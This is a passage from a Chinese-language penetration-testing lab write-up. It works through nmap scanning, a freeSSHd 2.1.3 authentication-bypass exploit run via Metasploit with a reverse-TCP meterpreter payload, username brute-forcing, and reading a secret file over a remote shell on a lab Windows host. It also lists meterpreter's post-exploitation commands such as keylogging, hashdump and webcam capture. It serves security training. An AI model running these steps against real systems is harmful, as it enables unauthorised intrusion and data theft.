135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
5357/tcp open wsdapi
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49155/tcp open unknown
49156/tcp open unknown
49158/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 28.48 seconds
用了-p-
參數則會掃1-65535全部,可以發現多了45。而且要考慮到連線port偽裝,比如把遠端連線變成49156 port。
再針對掃出來的port仔細掃描:
┌──(root㉿kali)-[~]
└─# nmap 172.16.19.2 -p45,135,139,445,5357,49152-49158 -sC -sV -O -A
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-25 06:49 EST
Nmap scan report for 172.16.19.2
Host is up (0.016s latency).
PORT STATE SERVICE VERSION
45/tcp open ssh WeOnlyDo sshd 2.1.3 (protocol 2.0)
| ssh-hostkey:
| 1024 69f2238e737a37f87cea4da210d3be7c (DSA)
|_ 1024 2e45fe263a9233c31fc19de2991792c5 (RSA)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows 7 Ultimate 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Service Unavailable
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49156/tcp open msrpc Microsoft Windows RPC
49157/tcp closed unknown
49158/tcp open msrpc Microsoft Windows RPC
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.93%E=4%D=2/25%OT=45%CT=49157%CU=43302%PV=Y%DS=2%DC=T%G=Y%TM=63F
OS:9F5FE%P=x86_64-pc-linux-gnu)SEQ(SP=102%GCD=1%ISR=10A%TI=I%TS=7)OPS(O1=M5
OS:07NW8ST11%O2=M507NW8ST11%O3=M507NW8NNT11%O4=M507NW8ST11%O5=M507NW8ST11%O
OS:6=M507ST11)WIN(W1=2000%W2=2000%W3=2000%W4=2000%W5=2000%W6=2000)ECN(R=Y%D
OS:F=Y%T=80%W=2000%O=M507NW8NNS%CC=N%Q=)T1(R=Y%DF=Y%T=80%S=O%A=S+%F=AS%RD=0
OS:%Q=)T2(R=N)T3(R=N)T4(R=N)T5(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T
OS:6(R=N)T7(R=N)U1(R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%R
OS:UD=G)IE(R=N)
Network Distance: 2 hops
Service Info: Host: IRMA; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2023-02-25T11:50:16
|_ start_date: 2021-05-22T09:26:30
|_clock-skew: mean: -2h40m01s, deviation: 4h37m07s, median: -2s
| smb2-security-mode:
| 210:
|_ Message signing enabled but not required
| smb-os-discovery:
| OS: Windows 7 Ultimate 7601 Service Pack 1 (Windows 7 Ultimate 6.1)
| OS CPE: cpe:/o:microsoft:windows_7::sp1
| Computer name: IRMA
| NetBIOS computer name: IRMA\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2023-02-25T19:50:16+08:00
|_nbstat: NetBIOS name: IRMA, NetBIOS user: <unknown>, NetBIOS MAC: 00155d2de7b6 (Microsoft)
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
TRACEROUTE (using port 49157/tcp)
HOP RTT ADDRESS
1 65.35 ms 192.168.200.1
2 12.89 ms 172.16.19.2
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 78.01 seconds
可以發現45從mpm變成ssh。 WeOnlyDo sshd 2.1.3可以稱之為banner,可以google一下有沒有弱點。
根據EDB-ID,用searchsploit來查詢漏洞詳情。其實用上圖的網頁也是一樣的內容,但用command line就是比較潮比較專業比較駭客。
┌──(root㉿kali)-[~]
└─# searchsploit 23080
---------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------- ---------------------------------
freeSSHd 2.1.3 - Remote Authentication Bypass | windows/remote/23080.txt
---------------------------------------------- ---------------------------------
Shellcodes: No Results
┌──(root㉿kali)-[~]
└─# mkdir PT_day2
┌──(root㉿kali)-[~]
└─# cd PT_day2
┌──(root㉿kali)-[~/PT_day2]
└─# searchsploit -m 23080
Exploit: freeSSHd 2.1.3 - Remote Authentication Bypass
URL: https://www.exploit-db.com/exploits/23080
Path: /usr/share/exploitdb/exploits/windows/remote/23080.txt
Codes: CVE-2012-6066, OSVDB-88006
Verified: True
File Type: ASCII text
Copied to: /root/PT_day2/23080.txt
┌──(root㉿kali)-[~/PT_day2]
└─# ls -al
total 12
drwxr-xr-x 2 root root 4096 Feb 25 19:55 .
drwx------ 5 root root 4096 Feb 25 19:55 ..
-rw-r--r-- 1 root root 913 Feb 25 19:55 23080.txt
┌──(root㉿kali)-[~/PT_day2]
└─# cat 23080.txt
FreeSSHD all version Remote Authentication Bypass ZERODAY
Discovered & Exploited by Kingcope
Year 2011
# Exploit-DB Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/23080.zip
Run like:
ssh.exe -l<valid username> <host>
valid username might be:
root
admin
administrator
webadmin
sysadmin
netadmin
guest
user
web
test
ssh
sftp
ftp
or anything you can imagine.
The vulnerable banner of the most recent version is:
SSH-2.0-WeOnlyDo 2.1.3
For your pleasure,
KingcopeFreeSSHD all version Remote Authentication Bypass ZERODAY
Discovered & Exploited by Kingcope
Year 2011
Run like:
ssh.exe -l<valid username> <host>
valid username might be:
root
admin
administrator
webadmin
sysadmin
netadmin
guest
user
web
test
ssh
sftp
ftp
or anything you can imagine.
The vulnerable banner of the most recent version is:
SSH-2.0-WeOnlyDo 2.1.3
For your pleasure,
Kingcope
呃呃...好像看不太懂,沒關係,看看metasploit有沒有poc可以直接用:
┌──(root㉿kali)-[~/PT_day2]
└─# msfconsole
.:okOOOkdc' 'cdkOOOko:.
.xOOOOOOOOOOOOc cOOOOOOOOOOOOx.
:OOOOOOOOOOOOOOOk, ,kOOOOOOOOOOOOOOO:
'OOOOOOOOOkkkkOOOOO: :OOOOOOOOOOOOOOOOOO'
oOOOOOOOO. .oOOOOoOOOOl. ,OOOOOOOOo
dOOOOOOOO. .cOOOOOc. ,OOOOOOOOx
lOOOOOOOO. ;d; ,OOOOOOOOl
.OOOOOOOO. .; ; ,OOOOOOOO.
cOOOOOOO. .OOc. 'oOO. ,OOOOOOOc
oOOOOOO. .OOOO. :OOOO. ,OOOOOOo
lOOOOO. .OOOO. :OOOO. ,OOOOOl
;OOOO' .OOOO. :OOOO. ;OOOO;
.dOOo .OOOOocccxOOOO. xOOd.
,kOl .OOOOOOOOOOOOO. .dOk,
:kk;.OOOOOOOOOOOOO.cOk:
;kOOOOOOOOOOOOOOOk:
,xOOOOOOOOOOOx,
.lOOOOOOOl.
,dOd,
.
=[ metasploit v6.3.2-dev ]
+ -- --=[ 2290 exploits - 1201 auxiliary - 409 post ]
+ -- --=[ 968 payloads - 45 encoders - 11 nops ]
+ -- --=[ 9 evasion ]
Metasploit tip: Use help <command> to learn more
about any command
Metasploit Documentation: https://docs.metasploit.com/
msf6 >
找找看:
msf6 > search freessh
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/ssh/freeftpd_key_exchange 2006-05-12 average No FreeFTPd 1.0.10 Key Exchange Algorithm String Buffer Overflow
1 exploit/windows/ssh/freesshd_key_exchange 2006-05-12 average No FreeSSHd 1.0.9 Key Exchange Algorithm String Buffer Overflow
2 exploit/windows/ssh/freesshd_authbypass 2010-08-11 excellent Yes Freesshd Authentication Bypass
Interact with a module by name or index. For example info 2, use 2 or use exploit/windows/ssh/freesshd_authbypass
看起來應該是第3個,所以use 2
。
msf6 > use 2
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/ssh/freesshd_authbypass) >
來看看該怎麼設定,所以show options
:
msf6 exploit(windows/ssh/freesshd_authbypass) > show options
Module options (exploit/windows/ssh/freesshd_authbypass):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), see https://
docs.metasploit.com/docs/using-m
etasploit/basics/using-metasploi
t.html
RPORT 22 yes The target port (TCP)
SSL false no Negotiate SSL for incoming conne
ctions
SSLCert no Path to a custom SSL certificate
(default is randomly generated)
URIPATH no The URI to use for this exploit
(default is random)
USERNAME no A specific username to try
USER_FILE /usr/share/metasploi yes File containing usernames, one p
t-framework/data/wor er line
dlists/unix_users.tx
t
When CMDSTAGER::FLAVOR is one of auto,certutil,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to
listen on. This must be an address on t
he local machine or 0.0.0.0 to listen o
n all addresses.
SRVPORT 8080 yes The local port to listen on.
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thr
ead, process, none)
LHOST 192.168.18.192 yes The listen address (an interface may b
e specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 PowerShell
View the full module info with the info, or info -d command.
要注意LHOST,到底是要用本機IP還是跳VPN後的IP?
圖解2:
看看現在的IP:
┌──(kali㉿kali)-[~]
└─$ ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 08:00:27:79:3c:84 brd ff:ff:ff:ff:ff:ff
inet 192.168.18.192/24 brd 192.168.18.255 scope global dynamic noprefixroute eth0
valid_lft 2547sec preferred_lft 2547sec
inet6 fe80::9977:207f:3a78:867f/64 scope link noprefixroute
valid_lft forever preferred_lft forever
10: tun1: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
link/none
inet 192.168.200.3/24 scope global tun1
valid_lft forever preferred_lft forever
inet6 fe80::e54a:6494:983f:7c99/64 scope link stable-privacy
valid_lft forever preferred_lft forever
11: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
link/none
inet 192.168.200.4/24 scope global tun0
valid_lft forever preferred_lft forever
inet6 fe80::b555:927b:f447:b4c2/64 scope link stable-privacy
valid_lft forever preferred_lft forever
開始做設定:
msf6 exploit(windows/ssh/freesshd_authbypass) > set lhost 192.168.200.3
lhost => 192.168.200.3
msf6 exploit(windows/ssh/freesshd_authbypass) > set rhosts 172.16.19.2
rhosts => 172.16.19.2
msf6 exploit(windows/ssh/freesshd_authbypass) > set rport 45
rport => 45
msf6 exploit(windows/ssh/freesshd_authbypass) > show options
Module options (exploit/windows/ssh/freesshd_authbypass):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 172.16.19.2 yes The target host(s), see https://
docs.metasploit.com/docs/using-m
etasploit/basics/using-metasploi
t.html
RPORT 45 yes The target port (TCP)
SSL false no Negotiate SSL for incoming conne
ctions
SSLCert no Path to a custom SSL certificate
(default is randomly generated)
URIPATH no The URI to use for this exploit
(default is random)
USERNAME no A specific username to try
USER_FILE /usr/share/metasploi yes File containing usernames, one p
t-framework/data/wor er line
dlists/unix_users.tx
t
When CMDSTAGER::FLAVOR is one of auto,certutil,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to
listen on. This must be an address on t
he local machine or 0.0.0.0 to listen o
n all addresses.
SRVPORT 8080 yes The local port to listen on.
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thr
ead, process, none)
LHOST 192.168.200.3 yes The listen address (an interface may b
e specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 PowerShell
View the full module info with the info, or info -d command.
執行:
msf6 exploit(windows/ssh/freesshd_authbypass) > run
[*] Started reverse TCP handler on 192.168.200.3:4444
[*] 172.16.19.2:45 - Trying username '4Dgifts'
[-] 172.16.19.2:45 - Exploit failed: Net::SSH::Exception could not settle on encryption_client algorithm
Server encryption_client preferences: aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,rijndael128-cbc,rijndael192-cbc,rijndael256-cbc,rijndael-cbc@lysator.liu.se
Client encryption_client preferences: aes256-ctr,aes192-ctr,aes128-ctr
[*] Exploit completed, but no session was created.
aaa阿,不知道為什麼噴錯了,看起來是不支援舊的加密演算法,google後找到下面這一篇:
Configure the Metasploit SSH client to support aes256-cbc
- Information Security Stack Exchange
於是依照文章解決方式,輸入以下指令:
┌──(kali㉿kali)-[~]
└─$ find /usr/share/metasploit-framework -type f -name algorithms.rb
/usr/share/metasploit-framework/vendor/bundle/ruby/3.1.0/gems/net-ssh-7.0.1/lib/net/ssh/transport/algorithms.rb
┌──(kali㉿kali)-[~]
└─$ sudo vim /usr/share/metasploit-framework/vendor/bundle/ruby/3.1.0/gems/net-ssh-7.0.1/lib/net/ssh/transport/algorithms.rb
用vim打開檔案後,會發現原本內容包含以下:
DEFAULT_ALGORITHMS = {
host_key: %w[ecdsa-sha2-nistp521-cert-v01@openssh.com
ecdsa-sha2-nistp384-cert-v01@openssh.com
ecdsa-sha2-nistp256-cert-v01@openssh.com
ecdsa-sha2-nistp521
ecdsa-sha2-nistp384
ecdsa-sha2-nistp256
ssh-rsa-cert-v01@openssh.com
ssh-rsa-cert-v00@openssh.com
ssh-rsa],
kex: %w[ecdh-sha2-nistp521
ecdh-sha2-nistp384
ecdh-sha2-nistp256
diffie-hellman-group-exchange-sha256
diffie-hellman-group14-sha1],
encryption: %w[aes256-ctr aes192-ctr aes128-ctr **aes256-cbc**],
最主要是encryption要加舊的演算法,加成下圖,儲存後離開。
重新啟動metasploit,把剛剛的步驟重來一遍:
┌──(root㉿kali)-[~/PT_day2]
└─# msfconsole
.:okOOOkdc' 'cdkOOOko:.
.xOOOOOOOOOOOOc cOOOOOOOOOOOOx.
:OOOOOOOOOOOOOOOk, ,kOOOOOOOOOOOOOOO:
'OOOOOOOOOkkkkOOOOO: :OOOOOOOOOOOOOOOOOO'
oOOOOOOOO. .oOOOOoOOOOl. ,OOOOOOOOo
dOOOOOOOO. .cOOOOOc. ,OOOOOOOOx
lOOOOOOOO. ;d; ,OOOOOOOOl
.OOOOOOOO. .; ; ,OOOOOOOO.
cOOOOOOO. .OOc. 'oOO. ,OOOOOOOc
oOOOOOO. .OOOO. :OOOO. ,OOOOOOo
lOOOOO. .OOOO. :OOOO. ,OOOOOl
;OOOO' .OOOO. :OOOO. ;OOOO;
.dOOo .OOOOocccxOOOO. xOOd.
,kOl .OOOOOOOOOOOOO. .dOk,
:kk;.OOOOOOOOOOOOO.cOk:
;kOOOOOOOOOOOOOOOk:
,xOOOOOOOOOOOx,
.lOOOOOOOl.
,dOd,
.
=[ metasploit v6.3.2-dev ]
+ -- --=[ 2290 exploits - 1201 auxiliary - 409 post ]
+ -- --=[ 968 payloads - 45 encoders - 11 nops ]
+ -- --=[ 9 evasion ]
Metasploit tip: You can use help to view all
available commands
Metasploit Documentation: https://docs.metasploit.com/
msf6 > search freessh
Matching Modules
================
# Name Disclosure Date Rank Che ck Description
- ---- --------------- ---- --- -- -----------
0 exploit/windows/ssh/freeftpd_key_exchange 2006-05-12 average No FreeFTPd 1.0.10 Key Exchange Algorithm String Buffer Overflow
1 exploit/windows/ssh/freesshd_key_exchange 2006-05-12 average No FreeSSHd 1.0.9 Key Exchange Algorithm String Buffer Overflow
2 exploit/windows/ssh/freesshd_authbypass 2010-08-11 excellent Yes Freesshd Authentication Bypass
Interact with a module by name or index. For example info 2, use 2 or use exploi t/windows/ssh/freesshd_authbypass
msf6 > use 2
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/ssh/freesshd_authbypass) > show options
Module options (exploit/windows/ssh/freesshd_authbypass):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), see https://
docs.metasploit.com/docs/using-m
etasploit/basics/using-metasploi
t.html
RPORT 22 yes The target port (TCP)
SSL false no Negotiate SSL for incoming conne
ctions
SSLCert no Path to a custom SSL certificate
(default is randomly generated)
URIPATH no The URI to use for this exploit
(default is random)
USERNAME no A specific username to try
USER_FILE /usr/share/metasploi yes File containing usernames, one p
t-framework/data/wor er line
dlists/unix_users.tx
t
When CMDSTAGER::FLAVOR is one of auto,certutil,tftp,wget,curl,fetch,lwpreques t,psh_invokewebrequest,ftp_http:
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to
listen on. This must be an address on t
he local machine or 0.0.0.0 to listen o
n all addresses.
SRVPORT 8080 yes The local port to listen on.
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thr
ead, process, none)
LHOST 192.168.18.192 yes The listen address (an interface may b
e specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 PowerShell
View the full module info with the info, or info -d command.
msf6 exploit(windows/ssh/freesshd_authbypass) > set lhost 192.168.200.3
lhost => 192.168.200.3
msf6 exploit(windows/ssh/freesshd_authbypass) > set rhosts 172.16.19.2
rhosts => 172.16.19.2
msf6 exploit(windows/ssh/freesshd_authbypass) > set rport 45
rport => 45
msf6 exploit(windows/ssh/freesshd_authbypass) > run
[*] Started reverse TCP handler on 192.168.200.3:4444
[*] 172.16.19.2:45 - Trying username '4Dgifts'
[*] 172.16.19.2:45 - Trying username 'abrt'
[*] 172.16.19.2:45 - Trying username 'adm'
[*] 172.16.19.2:45 - Trying username 'admin'
[*] 172.16.19.2:45 - Trying username 'administrator'
[*] 172.16.19.2:45 - Trying username 'anon'
[*] 172.16.19.2:45 - Trying username '_apt'
[*] 172.16.19.2:45 - Trying username 'arpwatch'
[*] 172.16.19.2:45 - Trying username 'auditor'
[*] 172.16.19.2:45 - Trying username 'avahi'
[*] 172.16.19.2:45 - Trying username 'avahi-autoipd'
[*] 172.16.19.2:45 - Trying username 'backup'
[*] 172.16.19.2:45 - Trying username 'bbs'
[*] 172.16.19.2:45 - Trying username 'beef-xss'
[*] 172.16.19.2:45 - Trying username 'bin'
[*] 172.16.19.2:45 - Trying username 'bitnami'
[*] 172.16.19.2:45 - Trying username 'checkfs'
[*] 172.16.19.2:45 - Trying username 'checkfsys'
[*] 172.16.19.2:45 - Trying username 'checksys'
[*] 172.16.19.2:45 - Trying username 'chronos'
[*] 172.16.19.2:45 - Trying username 'chrony'
[*] 172.16.19.2:45 - Trying username 'cmwlogin'
[*] 172.16.19.2:45 - Trying username 'cockpit-ws'
[*] 172.16.19.2:45 - Trying username 'colord'
[*] 172.16.19.2:45 - Trying username 'couchdb'
[*] 172.16.19.2:45 - Trying username 'cups-pk-helper'
[*] 172.16.19.2:45 - Trying username 'daemon'
[*] 172.16.19.2:45 - Trying username 'dbadmin'
[*] 172.16.19.2:45 - Trying username 'dbus'
[*] 172.16.19.2:45 - Trying username 'Debian-exim'
[*] 172.16.19.2:45 - Trying username 'Debian-snmp'
[*] 172.16.19.2:45 - Trying username 'demo'
[*] 172.16.19.2:45 - Trying username 'demos'
[*] 172.16.19.2:45 - Trying username 'diag'
[*] 172.16.19.2:45 - Trying username 'distccd'
[*] 172.16.19.2:45 - Trying username 'dni'
[*] 172.16.19.2:45 - Trying username 'dnsmasq'
[*] 172.16.19.2:45 - Trying username 'dradis'
[*] 172.16.19.2:45 - Trying username 'EZsetup'
[*] 172.16.19.2:45 - Trying username 'fal'
[*] 172.16.19.2:45 - Trying username 'fax'
[*] 172.16.19.2:45 - Trying username 'ftp'
[*] 172.16.19.2:45 - Trying username 'games'
[*] 172.16.19.2:45 - Trying username 'gdm'
[*] 172.16.19.2:45 - Trying username 'geoclue'
[*] 172.16.19.2:45 - Trying username 'gnats'
[*] 172.16.19.2:45 - Trying username 'gnome-initial-setup'
[*] 172.16.19.2:45 - Trying username 'gopher'
[*] 172.16.19.2:45 - Trying username 'gropher'
[*] 172.16.19.2:45 - Trying username 'guest'
[*] 172.16.19.2:45 - Trying username 'haldaemon'
[*] 172.16.19.2:45 - Trying username 'halt'
[*] 172.16.19.2:45 - Trying username 'hplip'
[*] 172.16.19.2:45 - Trying username 'inetsim'
[*] 172.16.19.2:45 - Trying username 'informix'
[*] 172.16.19.2:45 - Trying username 'install'
[*] 172.16.19.2:45 - Trying username 'iodine'
[*] 172.16.19.2:45 - Trying username 'irc'
[*] 172.16.19.2:45 - Trying username 'jet'
[*] 172.16.19.2:45 - Trying username 'karaf'
[*] 172.16.19.2:45 - Trying username 'kernoops'
[*] 172.16.19.2:45 - Trying username 'king-phisher'
[*] 172.16.19.2:45 - Trying username 'landscape'
[*] 172.16.19.2:45 - Trying username 'libstoragemgmt'
[*] 172.16.19.2:45 - Trying username 'libuuid'
[*] 172.16.19.2:45 - Trying username 'lightdm'
[*] 172.16.19.2:45 - Trying username 'list'
[*] 172.16.19.2:45 - Trying username 'listen'
[*] 172.16.19.2:45 - Trying username 'lp'
[*] 172.16.19.2:45 - Trying username 'lpadm'
[*] 172.16.19.2:45 - Trying username 'lpadmin'
[*] 172.16.19.2:45 - Trying username 'lxd'
[*] 172.16.19.2:45 - Trying username 'lynx'
[*] 172.16.19.2:45 - Trying username 'mail'
[*] 172.16.19.2:45 - Trying username 'man'
[*] 172.16.19.2:45 - Trying username 'me'
[*] 172.16.19.2:45 - Trying username 'messagebus'
[*] 172.16.19.2:45 - Trying username 'miredo'
[*] 172.16.19.2:45 - Trying username 'mountfs'
[*] 172.16.19.2:45 - Trying username 'mountfsys'
[*] 172.16.19.2:45 - Trying username 'mountsys'
[*] 172.16.19.2:45 - Trying username 'mysql'
[*] 172.16.19.2:45 - Trying username 'news'
[*] 172.16.19.2:45 - Trying username 'noaccess'
[*] 172.16.19.2:45 - Trying username 'nobody'
[*] 172.16.19.2:45 - Executing payload via Powershell...
[*] Sending stage (175686 bytes) to 172.16.19.2
[*] Meterpreter session 1 opened (192.168.200.3:4444 -> 172.16.19.2:49233) at 20 23-02-26 01:53:57 -0500
經過爆破,知道username是nobody,第二小題也早就解開,是45 port。
第三小題:
meterpreter > search -f secret.txt
Found 1 result...
=================
Path Size (bytes) Modified (UTC)
---- ------------ --------------
c:\Users\arnold\Documents\secret.txt 7 2019-11-06 09:44:07 -0500
可以藉由?
指令,來了解可以用什麼指令操縱被入侵的電腦:
meterpreter > ?
Core Commands
=============
Command Description
------- -----------
? Help menu
background Backgrounds the current session
bg Alias for background
bgkill Kills a background meterpreter script
bglist Lists running background scripts
bgrun Executes a meterpreter script as a background thread
channel Displays information or control active channels
close Closes a channel
detach Detach the meterpreter session (for http/https)
disable_unic Disables encoding of unicode strings
ode_encoding
enable_unico Enables encoding of unicode strings
de_encoding
exit Terminate the meterpreter session
get_timeouts Get the current session timeout values
guid Get the session GUID
help Help menu
info Displays information about a Post module
irb Open an interactive Ruby shell on the current session
load Load one or more meterpreter extensions
machine_id Get the MSF ID of the machine attached to the session
migrate Migrate the server to another process
pivot Manage pivot listeners
pry Open the Pry debugger on the current session
quit Terminate the meterpreter session
read Reads data from a channel
resource Run the commands stored in a file
run Executes a meterpreter script or Post module
secure (Re)Negotiate TLV packet encryption on the session
sessions Quickly switch to another session
set_timeouts Set the current session timeout values
sleep Force Meterpreter to go quiet, then re-establish session
ssl_verify Modify the SSL certificate verification setting
transport Manage the transport mechanisms
use Deprecated alias for "load"
uuid Get the UUID for the current session
write Writes data to a channel
Stdapi: File system Commands
============================
Command Description
------- -----------
cat Read the contents of a file to the screen
cd Change directory
checksum Retrieve the checksum of a file
cp Copy source to destination
del Delete the specified file
dir List files (alias for ls)
download Download a file or directory
edit Edit a file
getlwd Print local working directory
getwd Print working directory
lcat Read the contents of a local file to the screen
lcd Change local working directory
lls List local files
lpwd Print local working directory
ls List files
mkdir Make directory
mv Move source to destination
pwd Print working directory
rm Delete the specified file
rmdir Remove directory
search Search for files
show_mount List all mount points/logical drives
upload Upload a file or directory
Stdapi: Networking Commands
===========================
Command Description
------- -----------
arp Display the host ARP cache
getproxy Display the current proxy configuration
ifconfig Display interfaces
ipconfig Display interfaces
netstat Display the network connections
portfwd Forward a local port to a remote service
resolve Resolve a set of host names on the target
route View and modify the routing table
Stdapi: System Commands
=======================
Command Description
------- -----------
clearev Clear the event log
drop_token Relinquishes any active impersonation token.
execute Execute a command
getenv Get one or more environment variable values
getpid Get the current process identifier
getprivs Attempt to enable all privileges available to the current pr
ocess
getsid Get the SID of the user that the server is running as
getuid Get the user that the server is running as
kill Terminate a process
localtime Displays the target system local date and time
pgrep Filter processes by name
pkill Terminate processes by name
ps List running processes
reboot Reboots the remote computer
reg Modify and interact with the remote registry
rev2self Calls RevertToSelf() on the remote machine
shell Drop into a system command shell
shutdown Shuts down the remote computer
steal_token Attempts to steal an impersonation token from the target pro
cess
suspend Suspends or resumes a list of processes
sysinfo Gets information about the remote system, such as OS
Stdapi: User interface Commands
===============================
Command Description
------- -----------
enumdesktops List all accessible desktops and window stations
getdesktop Get the current meterpreter desktop
idletime Returns the number of seconds the remote user has been idle
keyboard_sen Send keystrokes
d
keyevent Send key events
keyscan_dump Dump the keystroke buffer
keyscan_star Start capturing keystrokes
t
keyscan_stop Stop capturing keystrokes
mouse Send mouse events
screenshare Watch the remote user desktop in real time
screenshot Grab a screenshot of the interactive desktop
setdesktop Change the meterpreters current desktop
uictl Control some of the user interface components
Stdapi: Webcam Commands
=======================
Command Description
------- -----------
record_mic Record audio from the default microphone for X seconds
webcam_chat Start a video chat
webcam_list List webcams
webcam_snap Take a snapshot from the specified webcam
webcam_strea Play a video stream from the specified webcam
m
Stdapi: Audio Output Commands
=============================
Command Description
------- -----------
play play a waveform audio file (.wav) on the target system
Priv: Elevate Commands
======================
Command Description
------- -----------
getsystem Attempt to elevate your privilege to that of local system.
Priv: Password database Commands
================================
Command Description
------- -----------
hashdump Dumps the contents of the SAM database
Priv: Timestomp Commands
========================
Command Description
------- -----------
timestomp Manipulate file MACE attributes
注意路徑不能只打一個反斜線,會被當成是其他東西:
meterpreter > cat c:\\Users\\arnold\\Documents\\secret.txt
Eur3K@!meterpreter >
也可以打shell
指令,直接用對方電腦的cmd:
meterpreter > shell
Process 3884 created.
Channel 2 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>cd /
cd /
C:\>dir /s secret.txt
dir /s secret.txt
Volume in drive C has no label.
Volume Serial Number is 18FD-17B5
Directory of C:\Users\arnold\Documents
2019/11/06 ?? 10:44 7 secret.txt
1 File(s) 7 bytes
Total Files Listed:
1 File(s) 7 bytes
0 Dir(s) 122,211,835,904 bytes free
C:\>cd C:\Users\arnold\Documents
cd C:\Users\arnold\Documents
C:\Users\arnold\Documents>dir
dir
Volume in drive C has no label.
Volume Serial Number is 18FD-17B5
Directory of C:\Users\arnold\Documents
2019/11/06 ?? 10:43 <DIR> .
2019/11/06 ?? 10:43 <DIR> ..
2019/11/06 ?? 10:44 7 secret.txt
1 File(s) 7 bytes
2 Dir(s) 122,211,835,904 bytes free
C:\Users\arnold\Documents>type secret.txt
type secret.txt
Eur3K@!
其實應該是要先openvpn cyberlab.ovpn
,再下route add
指令。
┌──(kali㉿kali)-[~]
└─$ sudo -i
[sudo] password for kali:
┌──(root㉿kali)-[~]
└─# route add -net 172.16.0.0/16 tun0
┌──(root㉿kali)-[~]
└─# cd /home/kali
┌──(root㉿kali)-[/home/kali]
└─# openvpn cyberlab.ovpn
2023-02-12 00:40:38 DEPRECATED OPTION: --cipher set to 'AES-256-CBC' but missing in --data-ciphers (AES-256-GCM:AES-128-GCM). Future OpenVPN version will ignore --cipher for cipher negotiations. Add 'AES-256-CBC' to --data-ciphers or change --cipher 'AES-256-CBC' to --data-ciphers-fallback 'AES-256-CBC' to silence this warning.
2023-02-12 00:40:38 OpenVPN 2.5.7 x86_64-pc-linux-gnu [SSL (OpenSSL)] [LZO] [LZ4] [EPOLL] [PKCS11] [MH/PKTINFO] [AEAD] built on Jul 5 2022
2023-02-12 00:40:38 library versions: OpenSSL 3.0.4 21 Jun 2022, LZO 2.10
Enter Auth Username: TBMPT703
🔐 Enter Auth Password: ********
2023-02-12 00:40:58 TCP/UDP: Preserving recently used remote address: [AF_INET]122.117.124.163:443
2023-02-12 00:40:58 Socket Buffers: R=[131072->131072] S=[16384->16384]
2023-02-12 00:40:58 Attempting to establish TCP connection with [AF_INET]122.117.124.163:443 [nonblock]
2023-02-12 00:40:58 TCP connection established with [AF_INET]122.117.124.163:443
2023-02-12 00:40:58 TCP_CLIENT link local: (not bound)
2023-02-12 00:40:58 TCP_CLIENT link remote: [AF_INET]122.117.124.163:443
2023-02-12 00:40:59 TLS: Initial packet from [AF_INET]122.117.124.163:443, sid=4fc9b453 3408a057
